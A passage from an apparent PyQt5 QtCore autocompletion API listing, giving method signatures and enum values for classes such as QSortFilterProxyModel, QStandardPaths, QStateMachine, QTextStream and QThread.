Qt.AspectRatioMode) -> QSizeF +QtCore.QSizeF.transposed?4() -> QSizeF +QtCore.QSizeF.grownBy?4(QMarginsF) -> QSizeF +QtCore.QSizeF.shrunkBy?4(QMarginsF) -> QSizeF +QtCore.QSocketNotifier.Type?10 +QtCore.QSocketNotifier.Type.Read?10 +QtCore.QSocketNotifier.Type.Write?10 +QtCore.QSocketNotifier.Type.Exception?10 +QtCore.QSocketNotifier?1(qintptr, QSocketNotifier.Type, QObject parent=None) +QtCore.QSocketNotifier.__init__?1(self, qintptr, QSocketNotifier.Type, QObject parent=None) +QtCore.QSocketNotifier.socket?4() -> qintptr +QtCore.QSocketNotifier.type?4() -> QSocketNotifier.Type +QtCore.QSocketNotifier.isEnabled?4() -> bool +QtCore.QSocketNotifier.setEnabled?4(bool) +QtCore.QSocketNotifier.activated?4(int) +QtCore.QSocketNotifier.event?4(QEvent) -> bool +QtCore.QSortFilterProxyModel?1(QObject parent=None) +QtCore.QSortFilterProxyModel.__init__?1(self, QObject parent=None) +QtCore.QSortFilterProxyModel.setSourceModel?4(QAbstractItemModel) +QtCore.QSortFilterProxyModel.mapToSource?4(QModelIndex) -> QModelIndex +QtCore.QSortFilterProxyModel.mapFromSource?4(QModelIndex) -> QModelIndex +QtCore.QSortFilterProxyModel.mapSelectionToSource?4(QItemSelection) -> QItemSelection +QtCore.QSortFilterProxyModel.mapSelectionFromSource?4(QItemSelection) -> QItemSelection +QtCore.QSortFilterProxyModel.filterRegExp?4() -> QRegExp +QtCore.QSortFilterProxyModel.filterRegularExpression?4() -> QRegularExpression +QtCore.QSortFilterProxyModel.filterKeyColumn?4() -> int +QtCore.QSortFilterProxyModel.setFilterKeyColumn?4(int) +QtCore.QSortFilterProxyModel.filterCaseSensitivity?4() -> Qt.CaseSensitivity +QtCore.QSortFilterProxyModel.setFilterCaseSensitivity?4(Qt.CaseSensitivity) +QtCore.QSortFilterProxyModel.invalidate?4() +QtCore.QSortFilterProxyModel.setFilterFixedString?4(QString) +QtCore.QSortFilterProxyModel.setFilterRegExp?4(QRegExp) +QtCore.QSortFilterProxyModel.setFilterRegExp?4(QString) +QtCore.QSortFilterProxyModel.setFilterRegularExpression?4(QRegularExpression) +QtCore.QSortFilterProxyModel.setFilterRegularExpression?4(QString) +QtCore.QSortFilterProxyModel.setFilterWildcard?4(QString) +QtCore.QSortFilterProxyModel.filterAcceptsRow?4(int, QModelIndex) -> bool +QtCore.QSortFilterProxyModel.filterAcceptsColumn?4(int, QModelIndex) -> bool +QtCore.QSortFilterProxyModel.lessThan?4(QModelIndex, QModelIndex) -> bool +QtCore.QSortFilterProxyModel.index?4(int, int, QModelIndex parent=QModelIndex()) -> QModelIndex +QtCore.QSortFilterProxyModel.parent?4(QModelIndex) -> QModelIndex +QtCore.QSortFilterProxyModel.parent?4() -> QObject +QtCore.QSortFilterProxyModel.rowCount?4(QModelIndex parent=QModelIndex()) -> int +QtCore.QSortFilterProxyModel.columnCount?4(QModelIndex parent=QModelIndex()) -> int +QtCore.QSortFilterProxyModel.hasChildren?4(QModelIndex parent=QModelIndex()) -> bool +QtCore.QSortFilterProxyModel.data?4(QModelIndex, int role=Qt.DisplayRole) -> QVariant +QtCore.QSortFilterProxyModel.setData?4(QModelIndex, QVariant, int role=Qt.EditRole) -> bool +QtCore.QSortFilterProxyModel.headerData?4(int, Qt.Orientation, int role=Qt.DisplayRole) -> QVariant +QtCore.QSortFilterProxyModel.setHeaderData?4(int, Qt.Orientation, QVariant, int role=Qt.EditRole) -> bool +QtCore.QSortFilterProxyModel.mimeData?4(unknown-type) -> QMimeData +QtCore.QSortFilterProxyModel.dropMimeData?4(QMimeData, Qt.DropAction, int, int, QModelIndex) -> bool +QtCore.QSortFilterProxyModel.insertRows?4(int, int, QModelIndex parent=QModelIndex()) -> bool +QtCore.QSortFilterProxyModel.insertColumns?4(int, int, QModelIndex parent=QModelIndex()) -> bool +QtCore.QSortFilterProxyModel.removeRows?4(int, int, QModelIndex parent=QModelIndex()) -> bool +QtCore.QSortFilterProxyModel.removeColumns?4(int, int, QModelIndex parent=QModelIndex()) -> bool +QtCore.QSortFilterProxyModel.fetchMore?4(QModelIndex) +QtCore.QSortFilterProxyModel.canFetchMore?4(QModelIndex) -> bool +QtCore.QSortFilterProxyModel.flags?4(QModelIndex) -> Qt.ItemFlags +QtCore.QSortFilterProxyModel.buddy?4(QModelIndex) -> QModelIndex +QtCore.QSortFilterProxyModel.span?4(QModelIndex) -> QSize +QtCore.QSortFilterProxyModel.match?4(QModelIndex, int, QVariant, int hits=1, Qt.MatchFlags flags=Qt.MatchStartsWith|Qt.MatchWrap) -> unknown-type +QtCore.QSortFilterProxyModel.sort?4(int, Qt.SortOrder order=Qt.AscendingOrder) +QtCore.QSortFilterProxyModel.sortCaseSensitivity?4() -> Qt.CaseSensitivity +QtCore.QSortFilterProxyModel.setSortCaseSensitivity?4(Qt.CaseSensitivity) +QtCore.QSortFilterProxyModel.dynamicSortFilter?4() -> bool +QtCore.QSortFilterProxyModel.setDynamicSortFilter?4(bool) +QtCore.QSortFilterProxyModel.sortRole?4() -> int +QtCore.QSortFilterProxyModel.setSortRole?4(int) +QtCore.QSortFilterProxyModel.sortColumn?4() -> int +QtCore.QSortFilterProxyModel.sortOrder?4() -> Qt.SortOrder +QtCore.QSortFilterProxyModel.filterRole?4() -> int +QtCore.QSortFilterProxyModel.setFilterRole?4(int) +QtCore.QSortFilterProxyModel.mimeTypes?4() -> QStringList +QtCore.QSortFilterProxyModel.supportedDropActions?4() -> Qt.DropActions +QtCore.QSortFilterProxyModel.isSortLocaleAware?4() -> bool +QtCore.QSortFilterProxyModel.setSortLocaleAware?4(bool) +QtCore.QSortFilterProxyModel.sibling?4(int, int, QModelIndex) -> QModelIndex +QtCore.QSortFilterProxyModel.isRecursiveFilteringEnabled?4() -> bool +QtCore.QSortFilterProxyModel.setRecursiveFilteringEnabled?4(bool) +QtCore.QSortFilterProxyModel.invalidateFilter?4() +QtCore.QSortFilterProxyModel.dynamicSortFilterChanged?4(bool) +QtCore.QSortFilterProxyModel.filterCaseSensitivityChanged?4(Qt.CaseSensitivity) +QtCore.QSortFilterProxyModel.sortCaseSensitivityChanged?4(Qt.CaseSensitivity) +QtCore.QSortFilterProxyModel.sortLocaleAwareChanged?4(bool) +QtCore.QSortFilterProxyModel.sortRoleChanged?4(int) +QtCore.QSortFilterProxyModel.filterRoleChanged?4(int) +QtCore.QSortFilterProxyModel.recursiveFilteringEnabledChanged?4(bool) +QtCore.QStandardPaths.LocateOption?10 +QtCore.QStandardPaths.LocateOption.LocateFile?10 +QtCore.QStandardPaths.LocateOption.LocateDirectory?10 +QtCore.QStandardPaths.StandardLocation?10 +QtCore.QStandardPaths.StandardLocation.DesktopLocation?10 +QtCore.QStandardPaths.StandardLocation.DocumentsLocation?10 +QtCore.QStandardPaths.StandardLocation.FontsLocation?10 +QtCore.QStandardPaths.StandardLocation.ApplicationsLocation?10 +QtCore.QStandardPaths.StandardLocation.MusicLocation?10 +QtCore.QStandardPaths.StandardLocation.MoviesLocation?10 +QtCore.QStandardPaths.StandardLocation.PicturesLocation?10 +QtCore.QStandardPaths.StandardLocation.TempLocation?10 +QtCore.QStandardPaths.StandardLocation.HomeLocation?10 +QtCore.QStandardPaths.StandardLocation.DataLocation?10 +QtCore.QStandardPaths.StandardLocation.CacheLocation?10 +QtCore.QStandardPaths.StandardLocation.GenericDataLocation?10 +QtCore.QStandardPaths.StandardLocation.RuntimeLocation?10 +QtCore.QStandardPaths.StandardLocation.ConfigLocation?10 +QtCore.QStandardPaths.StandardLocation.DownloadLocation?10 +QtCore.QStandardPaths.StandardLocation.GenericCacheLocation?10 +QtCore.QStandardPaths.StandardLocation.GenericConfigLocation?10 +QtCore.QStandardPaths.StandardLocation.AppDataLocation?10 +QtCore.QStandardPaths.StandardLocation.AppLocalDataLocation?10 +QtCore.QStandardPaths.StandardLocation.AppConfigLocation?10 +QtCore.QStandardPaths?1(QStandardPaths) +QtCore.QStandardPaths.__init__?1(self, QStandardPaths) +QtCore.QStandardPaths.writableLocation?4(QStandardPaths.StandardLocation) -> QString +QtCore.QStandardPaths.standardLocations?4(QStandardPaths.StandardLocation) -> QStringList +QtCore.QStandardPaths.locate?4(QStandardPaths.StandardLocation, QString, QStandardPaths.LocateOptions options=QStandardPaths.LocateFile) -> QString +QtCore.QStandardPaths.locateAll?4(QStandardPaths.StandardLocation, QString, QStandardPaths.LocateOptions options=QStandardPaths.LocateFile) -> QStringList +QtCore.QStandardPaths.displayName?4(QStandardPaths.StandardLocation) -> QString +QtCore.QStandardPaths.findExecutable?4(QString, QStringList paths=[]) -> QString +QtCore.QStandardPaths.enableTestMode?4(bool) +QtCore.QStandardPaths.setTestModeEnabled?4(bool) +QtCore.QStandardPaths.LocateOptions?1() +QtCore.QStandardPaths.LocateOptions.__init__?1(self) +QtCore.QStandardPaths.LocateOptions?1(int) +QtCore.QStandardPaths.LocateOptions.__init__?1(self, int) +QtCore.QStandardPaths.LocateOptions?1(QStandardPaths.LocateOptions) +QtCore.QStandardPaths.LocateOptions.__init__?1(self, QStandardPaths.LocateOptions) +QtCore.QState.RestorePolicy?10 +QtCore.QState.RestorePolicy.DontRestoreProperties?10 +QtCore.QState.RestorePolicy.RestoreProperties?10 +QtCore.QState.ChildMode?10 +QtCore.QState.ChildMode.ExclusiveStates?10 +QtCore.QState.ChildMode.ParallelStates?10 +QtCore.QState?1(QState parent=None) +QtCore.QState.__init__?1(self, QState parent=None) +QtCore.QState?1(QState.ChildMode, QState parent=None) +QtCore.QState.__init__?1(self, QState.ChildMode, QState parent=None) +QtCore.QState.errorState?4() -> QAbstractState +QtCore.QState.setErrorState?4(QAbstractState) +QtCore.QState.addTransition?4(QAbstractTransition) +QtCore.QState.addTransition?4(object, QAbstractState) -> QSignalTransition +QtCore.QState.addTransition?4(QAbstractState) -> QAbstractTransition +QtCore.QState.removeTransition?4(QAbstractTransition) +QtCore.QState.transitions?4() -> unknown-type +QtCore.QState.initialState?4() -> QAbstractState +QtCore.QState.setInitialState?4(QAbstractState) +QtCore.QState.childMode?4() -> QState.ChildMode +QtCore.QState.setChildMode?4(QState.ChildMode) +QtCore.QState.assignProperty?4(QObject, str, QVariant) +QtCore.QState.finished?4() +QtCore.QState.propertiesAssigned?4() +QtCore.QState.onEntry?4(QEvent) +QtCore.QState.onExit?4(QEvent) +QtCore.QState.event?4(QEvent) -> bool +QtCore.QState.childModeChanged?4() +QtCore.QState.initialStateChanged?4() +QtCore.QState.errorStateChanged?4() +QtCore.QStateMachine.Error?10 +QtCore.QStateMachine.Error.NoError?10 +QtCore.QStateMachine.Error.NoInitialStateError?10 +QtCore.QStateMachine.Error.NoDefaultStateInHistoryStateError?10 +QtCore.QStateMachine.Error.NoCommonAncestorForTransitionError?10 +QtCore.QStateMachine.Error.StateMachineChildModeSetToParallelError?10 +QtCore.QStateMachine.EventPriority?10 +QtCore.QStateMachine.EventPriority.NormalPriority?10 +QtCore.QStateMachine.EventPriority.HighPriority?10 +QtCore.QStateMachine?1(QObject parent=None) +QtCore.QStateMachine.__init__?1(self, QObject parent=None) +QtCore.QStateMachine?1(QState.ChildMode, QObject parent=None) +QtCore.QStateMachine.__init__?1(self, QState.ChildMode, QObject parent=None) +QtCore.QStateMachine.addState?4(QAbstractState) +QtCore.QStateMachine.removeState?4(QAbstractState) +QtCore.QStateMachine.error?4() -> QStateMachine.Error +QtCore.QStateMachine.errorString?4() -> QString +QtCore.QStateMachine.clearError?4() +QtCore.QStateMachine.isRunning?4() -> bool +QtCore.QStateMachine.isAnimated?4() -> bool +QtCore.QStateMachine.setAnimated?4(bool) +QtCore.QStateMachine.addDefaultAnimation?4(QAbstractAnimation) +QtCore.QStateMachine.defaultAnimations?4() -> unknown-type +QtCore.QStateMachine.removeDefaultAnimation?4(QAbstractAnimation) +QtCore.QStateMachine.globalRestorePolicy?4() -> QState.RestorePolicy +QtCore.QStateMachine.setGlobalRestorePolicy?4(QState.RestorePolicy) +QtCore.QStateMachine.postEvent?4(QEvent, QStateMachine.EventPriority priority=QStateMachine.NormalPriority) +QtCore.QStateMachine.postDelayedEvent?4(QEvent, int) -> int +QtCore.QStateMachine.cancelDelayedEvent?4(int) -> bool +QtCore.QStateMachine.configuration?4() -> unknown-type +QtCore.QStateMachine.eventFilter?4(QObject, QEvent) -> bool +QtCore.QStateMachine.start?4() +QtCore.QStateMachine.stop?4() +QtCore.QStateMachine.setRunning?4(bool) +QtCore.QStateMachine.started?4() +QtCore.QStateMachine.stopped?4() +QtCore.QStateMachine.runningChanged?4(bool) +QtCore.QStateMachine.onEntry?4(QEvent) +QtCore.QStateMachine.onExit?4(QEvent) +QtCore.QStateMachine.event?4(QEvent) -> bool +QtCore.QStateMachine.SignalEvent.sender?4() -> QObject +QtCore.QStateMachine.SignalEvent.signalIndex?4() -> int +QtCore.QStateMachine.SignalEvent.arguments?4() -> unknown-type +QtCore.QStateMachine.WrappedEvent.object?4() -> QObject +QtCore.QStateMachine.WrappedEvent.event?4() -> QEvent +QtCore.QStorageInfo?1() +QtCore.QStorageInfo.__init__?1(self) +QtCore.QStorageInfo?1(QString) +QtCore.QStorageInfo.__init__?1(self, QString) +QtCore.QStorageInfo?1(QDir) +QtCore.QStorageInfo.__init__?1(self, QDir) +QtCore.QStorageInfo?1(QStorageInfo) +QtCore.QStorageInfo.__init__?1(self, QStorageInfo) +QtCore.QStorageInfo.swap?4(QStorageInfo) +QtCore.QStorageInfo.setPath?4(QString) +QtCore.QStorageInfo.rootPath?4() -> QString +QtCore.QStorageInfo.device?4() -> QByteArray +QtCore.QStorageInfo.fileSystemType?4() -> QByteArray +QtCore.QStorageInfo.name?4() -> QString +QtCore.QStorageInfo.displayName?4() -> QString +QtCore.QStorageInfo.bytesTotal?4() -> int +QtCore.QStorageInfo.bytesFree?4() -> int +QtCore.QStorageInfo.bytesAvailable?4() -> int +QtCore.QStorageInfo.isReadOnly?4() -> bool +QtCore.QStorageInfo.isReady?4() -> bool +QtCore.QStorageInfo.isValid?4() -> bool +QtCore.QStorageInfo.refresh?4() +QtCore.QStorageInfo.mountedVolumes?4() -> unknown-type +QtCore.QStorageInfo.root?4() -> QStorageInfo +QtCore.QStorageInfo.isRoot?4() -> bool +QtCore.QStorageInfo.blockSize?4() -> int +QtCore.QStorageInfo.subvolume?4() -> QByteArray +QtCore.QStringListModel?1(QObject parent=None) +QtCore.QStringListModel.__init__?1(self, QObject parent=None) +QtCore.QStringListModel?1(QStringList, QObject parent=None) +QtCore.QStringListModel.__init__?1(self, QStringList, QObject parent=None) +QtCore.QStringListModel.rowCount?4(QModelIndex parent=QModelIndex()) -> int +QtCore.QStringListModel.data?4(QModelIndex, int) -> QVariant +QtCore.QStringListModel.setData?4(QModelIndex, QVariant, int role=Qt.EditRole) -> bool +QtCore.QStringListModel.flags?4(QModelIndex) -> Qt.ItemFlags +QtCore.QStringListModel.insertRows?4(int, int, QModelIndex parent=QModelIndex()) -> bool +QtCore.QStringListModel.removeRows?4(int, int, QModelIndex parent=QModelIndex()) -> bool +QtCore.QStringListModel.stringList?4() -> QStringList +QtCore.QStringListModel.setStringList?4(QStringList) +QtCore.QStringListModel.sort?4(int, Qt.SortOrder order=Qt.AscendingOrder) +QtCore.QStringListModel.supportedDropActions?4() -> Qt.DropActions +QtCore.QStringListModel.sibling?4(int, int, QModelIndex) -> QModelIndex +QtCore.QStringListModel.moveRows?4(QModelIndex, int, int, QModelIndex, int) -> bool +QtCore.QStringListModel.itemData?4(QModelIndex) -> unknown-type +QtCore.QStringListModel.setItemData?4(QModelIndex, unknown-type) -> bool +QtCore.QSystemSemaphore.SystemSemaphoreError?10 +QtCore.QSystemSemaphore.SystemSemaphoreError.NoError?10 +QtCore.QSystemSemaphore.SystemSemaphoreError.PermissionDenied?10 +QtCore.QSystemSemaphore.SystemSemaphoreError.KeyError?10 +QtCore.QSystemSemaphore.SystemSemaphoreError.AlreadyExists?10 +QtCore.QSystemSemaphore.SystemSemaphoreError.NotFound?10 +QtCore.QSystemSemaphore.SystemSemaphoreError.OutOfResources?10 +QtCore.QSystemSemaphore.SystemSemaphoreError.UnknownError?10 +QtCore.QSystemSemaphore.AccessMode?10 +QtCore.QSystemSemaphore.AccessMode.Open?10 +QtCore.QSystemSemaphore.AccessMode.Create?10 +QtCore.QSystemSemaphore?1(QString, int initialValue=0, QSystemSemaphore.AccessMode mode=QSystemSemaphore.Open) +QtCore.QSystemSemaphore.__init__?1(self, QString, int initialValue=0, QSystemSemaphore.AccessMode mode=QSystemSemaphore.Open) +QtCore.QSystemSemaphore.setKey?4(QString, int initialValue=0, QSystemSemaphore.AccessMode mode=QSystemSemaphore.Open) +QtCore.QSystemSemaphore.key?4() -> QString +QtCore.QSystemSemaphore.acquire?4() -> bool +QtCore.QSystemSemaphore.release?4(int n=1) -> bool +QtCore.QSystemSemaphore.error?4() -> QSystemSemaphore.SystemSemaphoreError +QtCore.QSystemSemaphore.errorString?4() -> QString +QtCore.QTemporaryDir?1() +QtCore.QTemporaryDir.__init__?1(self) +QtCore.QTemporaryDir?1(QString) +QtCore.QTemporaryDir.__init__?1(self, QString) +QtCore.QTemporaryDir.isValid?4() -> bool +QtCore.QTemporaryDir.autoRemove?4() -> bool +QtCore.QTemporaryDir.setAutoRemove?4(bool) +QtCore.QTemporaryDir.remove?4() -> bool +QtCore.QTemporaryDir.path?4() -> QString +QtCore.QTemporaryDir.errorString?4() -> QString +QtCore.QTemporaryDir.filePath?4(QString) -> QString +QtCore.QTemporaryFile?1() +QtCore.QTemporaryFile.__init__?1(self) +QtCore.QTemporaryFile?1(QString) +QtCore.QTemporaryFile.__init__?1(self, QString) +QtCore.QTemporaryFile?1(QObject) +QtCore.QTemporaryFile.__init__?1(self, QObject) +QtCore.QTemporaryFile?1(QString, QObject) +QtCore.QTemporaryFile.__init__?1(self, QString, QObject) +QtCore.QTemporaryFile.autoRemove?4() -> bool +QtCore.QTemporaryFile.setAutoRemove?4(bool) +QtCore.QTemporaryFile.open?4() -> bool +QtCore.QTemporaryFile.fileName?4() -> QString +QtCore.QTemporaryFile.fileTemplate?4() -> QString +QtCore.QTemporaryFile.setFileTemplate?4(QString) +QtCore.QTemporaryFile.createNativeFile?4(QString) -> QTemporaryFile +QtCore.QTemporaryFile.createNativeFile?4(QFile) -> QTemporaryFile +QtCore.QTemporaryFile.rename?4(QString) -> bool +QtCore.QTemporaryFile.open?4(QIODevice.OpenMode) -> bool +QtCore.QTextBoundaryFinder.BoundaryType?10 +QtCore.QTextBoundaryFinder.BoundaryType.Grapheme?10 +QtCore.QTextBoundaryFinder.BoundaryType.Word?10 +QtCore.QTextBoundaryFinder.BoundaryType.Line?10 +QtCore.QTextBoundaryFinder.BoundaryType.Sentence?10 +QtCore.QTextBoundaryFinder.BoundaryReason?10 +QtCore.QTextBoundaryFinder.BoundaryReason.NotAtBoundary?10 +QtCore.QTextBoundaryFinder.BoundaryReason.SoftHyphen?10 +QtCore.QTextBoundaryFinder.BoundaryReason.BreakOpportunity?10 +QtCore.QTextBoundaryFinder.BoundaryReason.StartOfItem?10 +QtCore.QTextBoundaryFinder.BoundaryReason.EndOfItem?10 +QtCore.QTextBoundaryFinder.BoundaryReason.MandatoryBreak?10 +QtCore.QTextBoundaryFinder?1() +QtCore.QTextBoundaryFinder.__init__?1(self) +QtCore.QTextBoundaryFinder?1(QTextBoundaryFinder) +QtCore.QTextBoundaryFinder.__init__?1(self, QTextBoundaryFinder) +QtCore.QTextBoundaryFinder?1(QTextBoundaryFinder.BoundaryType, QString) +QtCore.QTextBoundaryFinder.__init__?1(self, QTextBoundaryFinder.BoundaryType, QString) +QtCore.QTextBoundaryFinder.isValid?4() -> bool +QtCore.QTextBoundaryFinder.type?4() -> QTextBoundaryFinder.BoundaryType +QtCore.QTextBoundaryFinder.string?4() -> QString +QtCore.QTextBoundaryFinder.toStart?4() +QtCore.QTextBoundaryFinder.toEnd?4() +QtCore.QTextBoundaryFinder.position?4() -> int +QtCore.QTextBoundaryFinder.setPosition?4(int) +QtCore.QTextBoundaryFinder.toNextBoundary?4() -> int +QtCore.QTextBoundaryFinder.toPreviousBoundary?4() -> int +QtCore.QTextBoundaryFinder.isAtBoundary?4() -> bool +QtCore.QTextBoundaryFinder.boundaryReasons?4() -> QTextBoundaryFinder.BoundaryReasons +QtCore.QTextBoundaryFinder.BoundaryReasons?1() +QtCore.QTextBoundaryFinder.BoundaryReasons.__init__?1(self) +QtCore.QTextBoundaryFinder.BoundaryReasons?1(int) +QtCore.QTextBoundaryFinder.BoundaryReasons.__init__?1(self, int) +QtCore.QTextBoundaryFinder.BoundaryReasons?1(QTextBoundaryFinder.BoundaryReasons) +QtCore.QTextBoundaryFinder.BoundaryReasons.__init__?1(self, QTextBoundaryFinder.BoundaryReasons) +QtCore.QTextCodec.ConversionFlag?10 +QtCore.QTextCodec.ConversionFlag.DefaultConversion?10 +QtCore.QTextCodec.ConversionFlag.ConvertInvalidToNull?10 +QtCore.QTextCodec.ConversionFlag.IgnoreHeader?10 +QtCore.QTextCodec?1() +QtCore.QTextCodec.__init__?1(self) +QtCore.QTextCodec.codecForName?4(QByteArray) -> QTextCodec +QtCore.QTextCodec.codecForName?4(str) -> QTextCodec +QtCore.QTextCodec.codecForMib?4(int) -> QTextCodec +QtCore.QTextCodec.codecForHtml?4(QByteArray) -> QTextCodec +QtCore.QTextCodec.codecForHtml?4(QByteArray, QTextCodec) -> QTextCodec +QtCore.QTextCodec.codecForUtfText?4(QByteArray) -> QTextCodec +QtCore.QTextCodec.codecForUtfText?4(QByteArray, QTextCodec) -> QTextCodec +QtCore.QTextCodec.availableCodecs?4() -> unknown-type +QtCore.QTextCodec.availableMibs?4() -> unknown-type +QtCore.QTextCodec.codecForLocale?4() -> QTextCodec +QtCore.QTextCodec.setCodecForLocale?4(QTextCodec) +QtCore.QTextCodec.makeDecoder?4(QTextCodec.ConversionFlags flags=QTextCodec.DefaultConversion) -> QTextDecoder +QtCore.QTextCodec.makeEncoder?4(QTextCodec.ConversionFlags flags=QTextCodec.DefaultConversion) -> QTextEncoder +QtCore.QTextCodec.canEncode?4(QString) -> bool +QtCore.QTextCodec.toUnicode?4(QByteArray) -> QString +QtCore.QTextCodec.toUnicode?4(str) -> QString +QtCore.QTextCodec.fromUnicode?4(QString) -> QByteArray +QtCore.QTextCodec.toUnicode?4(bytes, QTextCodec.ConverterState state=None) -> QString +QtCore.QTextCodec.name?4() -> QByteArray +QtCore.QTextCodec.aliases?4() -> unknown-type +QtCore.QTextCodec.mibEnum?4() -> int +QtCore.QTextCodec.convertToUnicode?4(bytes, QTextCodec.ConverterState) -> QString +QtCore.QTextCodec.convertFromUnicode?4(QChar, QTextCodec.ConverterState) -> QByteArray +QtCore.QTextCodec.ConversionFlags?1() +QtCore.QTextCodec.ConversionFlags.__init__?1(self) +QtCore.QTextCodec.ConversionFlags?1(int) +QtCore.QTextCodec.ConversionFlags.__init__?1(self, int) +QtCore.QTextCodec.ConversionFlags?1(QTextCodec.ConversionFlags) +QtCore.QTextCodec.ConversionFlags.__init__?1(self, QTextCodec.ConversionFlags) +QtCore.QTextCodec.ConverterState?1(QTextCodec.ConversionFlags flags=QTextCodec.DefaultConversion) +QtCore.QTextCodec.ConverterState.__init__?1(self, QTextCodec.ConversionFlags flags=QTextCodec.DefaultConversion) +QtCore.QTextEncoder?1(QTextCodec) +QtCore.QTextEncoder.__init__?1(self, QTextCodec) +QtCore.QTextEncoder?1(QTextCodec, QTextCodec.ConversionFlags) +QtCore.QTextEncoder.__init__?1(self, QTextCodec, QTextCodec.ConversionFlags) +QtCore.QTextEncoder.fromUnicode?4(QString) -> QByteArray +QtCore.QTextDecoder?1(QTextCodec) +QtCore.QTextDecoder.__init__?1(self, QTextCodec) +QtCore.QTextDecoder?1(QTextCodec, QTextCodec.ConversionFlags) +QtCore.QTextDecoder.__init__?1(self, QTextCodec, QTextCodec.ConversionFlags) +QtCore.QTextDecoder.toUnicode?4(bytes) -> QString +QtCore.QTextDecoder.toUnicode?4(QByteArray) -> QString +QtCore.QTextStream.Status?10 +QtCore.QTextStream.Status.Ok?10 +QtCore.QTextStream.Status.ReadPastEnd?10 +QtCore.QTextStream.Status.ReadCorruptData?10 +QtCore.QTextStream.Status.WriteFailed?10 +QtCore.QTextStream.NumberFlag?10 +QtCore.QTextStream.NumberFlag.ShowBase?10 +QtCore.QTextStream.NumberFlag.ForcePoint?10 +QtCore.QTextStream.NumberFlag.ForceSign?10 +QtCore.QTextStream.NumberFlag.UppercaseBase?10 +QtCore.QTextStream.NumberFlag.UppercaseDigits?10 +QtCore.QTextStream.FieldAlignment?10 +QtCore.QTextStream.FieldAlignment.AlignLeft?10 +QtCore.QTextStream.FieldAlignment.AlignRight?10 +QtCore.QTextStream.FieldAlignment.AlignCenter?10 +QtCore.QTextStream.FieldAlignment.AlignAccountingStyle?10 +QtCore.QTextStream.RealNumberNotation?10 +QtCore.QTextStream.RealNumberNotation.SmartNotation?10 +QtCore.QTextStream.RealNumberNotation.FixedNotation?10 +QtCore.QTextStream.RealNumberNotation.ScientificNotation?10 +QtCore.QTextStream?1() +QtCore.QTextStream.__init__?1(self) +QtCore.QTextStream?1(QIODevice) +QtCore.QTextStream.__init__?1(self, QIODevice) +QtCore.QTextStream?1(QByteArray, QIODevice.OpenMode mode=QIODevice.ReadWrite) +QtCore.QTextStream.__init__?1(self, QByteArray, QIODevice.OpenMode mode=QIODevice.ReadWrite) +QtCore.QTextStream.setCodec?4(QTextCodec) +QtCore.QTextStream.setCodec?4(str) +QtCore.QTextStream.codec?4() -> QTextCodec +QtCore.QTextStream.setAutoDetectUnicode?4(bool) +QtCore.QTextStream.autoDetectUnicode?4() -> bool +QtCore.QTextStream.setGenerateByteOrderMark?4(bool) +QtCore.QTextStream.generateByteOrderMark?4() -> bool +QtCore.QTextStream.setDevice?4(QIODevice) +QtCore.QTextStream.device?4() -> QIODevice +QtCore.QTextStream.atEnd?4() -> bool +QtCore.QTextStream.reset?4() +QtCore.QTextStream.flush?4() +QtCore.QTextStream.seek?4(int) -> bool +QtCore.QTextStream.skipWhiteSpace?4() +QtCore.QTextStream.read?4(int) -> QString +QtCore.QTextStream.readLine?4(int maxLength=0) -> QString +QtCore.QTextStream.readAll?4() -> QString +QtCore.QTextStream.setFieldAlignment?4(QTextStream.FieldAlignment) +QtCore.QTextStream.fieldAlignment?4() -> QTextStream.FieldAlignment +QtCore.QTextStream.setPadChar?4(QChar) +QtCore.QTextStream.padChar?4() -> QChar +QtCore.QTextStream.setFieldWidth?4(int) +QtCore.QTextStream.fieldWidth?4() -> int +QtCore.QTextStream.setNumberFlags?4(QTextStream.NumberFlags) +QtCore.QTextStream.numberFlags?4() -> QTextStream.NumberFlags +QtCore.QTextStream.setIntegerBase?4(int) +QtCore.QTextStream.integerBase?4() -> int +QtCore.QTextStream.setRealNumberNotation?4(QTextStream.RealNumberNotation) +QtCore.QTextStream.realNumberNotation?4() -> QTextStream.RealNumberNotation +QtCore.QTextStream.setRealNumberPrecision?4(int) +QtCore.QTextStream.realNumberPrecision?4() -> int +QtCore.QTextStream.status?4() -> QTextStream.Status +QtCore.QTextStream.setStatus?4(QTextStream.Status) +QtCore.QTextStream.resetStatus?4() +QtCore.QTextStream.pos?4() -> int +QtCore.QTextStream.setLocale?4(QLocale) +QtCore.QTextStream.locale?4() -> QLocale +QtCore.QTextStream.NumberFlags?1() +QtCore.QTextStream.NumberFlags.__init__?1(self) +QtCore.QTextStream.NumberFlags?1(int) +QtCore.QTextStream.NumberFlags.__init__?1(self, int) +QtCore.QTextStream.NumberFlags?1(QTextStream.NumberFlags) +QtCore.QTextStream.NumberFlags.__init__?1(self, QTextStream.NumberFlags) +QtCore.QThread.Priority?10 +QtCore.QThread.Priority.IdlePriority?10 +QtCore.QThread.Priority.LowestPriority?10 +QtCore.QThread.Priority.LowPriority?10 +QtCore.QThread.Priority.NormalPriority?10 +QtCore.QThread.Priority.HighPriority?10 +QtCore.QThread.Priority.HighestPriority?10 +QtCore.QThread.Priority.TimeCriticalPriority?10 +QtCore.QThread.Priority.InheritPriority?10 +QtCore.QThread?1(QObject parent=None) +QtCore.QThread.__init__?1(self, QObject parent=None) +QtCore.QThread.currentThread?4() -> QThread +QtCore.QThread.currentThreadId?4() -> sip.voidptr +QtCore.QThread.idealThreadCount?4() -> int +QtCore.QThread.yieldCurrentThread?4() +QtCore.QThread.isFinished?4() -> bool +QtCore.QThread.isRunning?4() -> bool +QtCore.QThread.setPriority?4(QThread.Priority) +QtCore.QThread.priority?4() -> QThread.Priority +QtCore.QThread.setStackSize?4(int) +QtCore.QThread.stackSize?4() -> int +QtCore.QThread.exit?4(int returnCode=0) +QtCore.QThread.start?4(QThread.Priority priority=QThread.InheritPriority) +QtCore.QThread.terminate?4() +QtCore.QThread.quit?4() +QtCore.QThread.wait?4(int msecs=ULONG_MAX) -> bool +QtCore.QThread.wait?4(QDeadlineTimer) -> bool +QtCore.QThread.started?4() +QtCore.QThread.finished?4() +QtCore.QThread.run?4() +QtCore.QThread.exec_?4() -> int +QtCore.QThread.exec?4() -> int +QtCore.QThread.setTerminationEnabled?4(bool enabled=True) +QtCore.QThread.event?4(QEvent) -> bool +QtCore.QThread.sleep?4(int) +QtCore.QThread.msleep?4(int) +QtCore.QThread.usleep?4(int) +QtCore.QThread.eventDispatcher?4() -> QAbstractEventDispatcher +QtCore.QThread.setEventDispatcher?4(QAbstractEventDispatcher) +QtCore.QThread.requestInterruption?4() +QtCore.QThread.isInterruptionRequested?4() -> bool +QtCore.QThread.loopLevel?4() -> int +QtCore.QThreadPool?1(QObject 